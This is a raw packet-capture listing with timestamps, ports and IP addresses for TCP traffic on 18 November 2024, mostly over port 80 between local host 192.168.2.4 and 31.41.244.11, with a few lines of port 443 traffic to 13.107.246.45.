Nov 18, 2024 23:04:15.468308926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468334913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468336105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468364954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468383074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468386889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468425989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468442917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468450069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468457937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468473911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468480110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468496084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468513012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468517065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468560934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468578100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468755960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468815088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468866110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468883038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468898058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468914032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468930006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468944073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468945980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468945980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.468961000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468977928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.468993902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469005108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469033957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469069958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469460011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469475985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469491005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469506025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469521046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469521046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469537973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469547987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469554901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469573021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469587088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469588995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469604969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469604969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469624996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469640017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469651937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469655991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469671965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469687939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469701052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469710112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469732046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469738960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469748974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.469759941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.469799042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470418930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470436096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470449924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470465899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470479012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470479965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470499039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470511913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470526934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470527887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470544100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470560074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470575094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470576048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470591068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470602036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470609903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470626116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470633030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470643044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470659018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470664978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470674992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470686913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470690966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470707893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470709085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470724106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.470742941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.470773935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471384048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471400023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471415043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471430063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471443892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471446037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471463919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471477985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471492052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471493006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471508980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471524000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471529007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471539974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471554995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471554995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471570969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471581936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471587896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471604109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471616983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471621037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.471649885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.471668005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472202063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472217083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472232103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472248077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472261906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472263098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472280025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472282887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472311974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472330093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472358942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472374916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472389936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472407103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472409964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472421885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472430944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472440004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472455978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472465038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472474098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472490072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472496033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472505093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472516060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472522020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472536087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472537994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.472594976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.472641945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473280907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473320007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473335981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473351955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473362923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473367929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473381996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473386049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473404884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473421097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473421097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473436117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473447084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473453999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473465919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473470926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473501921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473504066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473517895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473534107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473543882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473551035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473566055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473568916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473582029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473598003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473604918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473617077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.473622084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473644972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.473681927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.476092100 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.476787090 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.476823092 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.477247000 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.477256060 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.509963036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510023117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510040998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510063887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510078907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510086060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510102034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510107040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510114908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510138035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510191917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510315895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510333061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510348082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510360956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510377884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510379076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510395050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510412931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510417938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510449886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510468960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510689020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510723114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510756016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510760069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510796070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.510802984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510832071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.510850906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.515907049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.515940905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.515983105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.515983105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.515996933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516031981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516048908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.516068935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516098022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.516110897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516132116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.516148090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516160011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.516182899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.516200066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.516237020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538157940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538203955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538218975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538245916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538261890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538254023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538279057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538297892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538304090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538327932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538357973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538551092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538567066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538582087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538597107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538614035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538614988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538630962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538647890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538661957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538691998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538708925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.538980961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.538995981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539011002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539025068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539043903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539098024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539098024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539150953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539166927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539181948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539199114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539233923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539264917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539452076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539467096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539484978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539498091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539514065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539520979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539530039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.539540052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.539582014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.541759014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.541824102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.541863918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.541879892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.541925907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.541958094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.541979074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.541994095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542009115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542025089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542038918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.542059898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.542062998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542107105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.542159081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.542294979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542310953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.542351961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.542383909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.582741976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582760096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582775116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582828999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.582839966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582863092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.582869053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582887888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582895041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582902908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.582947016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.582998991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583098888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583116055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583137035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583178997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583206892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583228111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583244085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583267927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583282948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583303928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583322048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583465099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583487034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583523035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583543062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583551884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583568096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583584070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.583602905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.583631992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.585748911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.585830927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.585846901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.585853100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.585896969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.585916996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.585933924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.585971117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.585999012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586036921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586054087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586088896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586119890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586236954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586252928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586267948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586283922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.586294889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.586301088 CET	80	49794	31.41.244.11	192.168.2.4
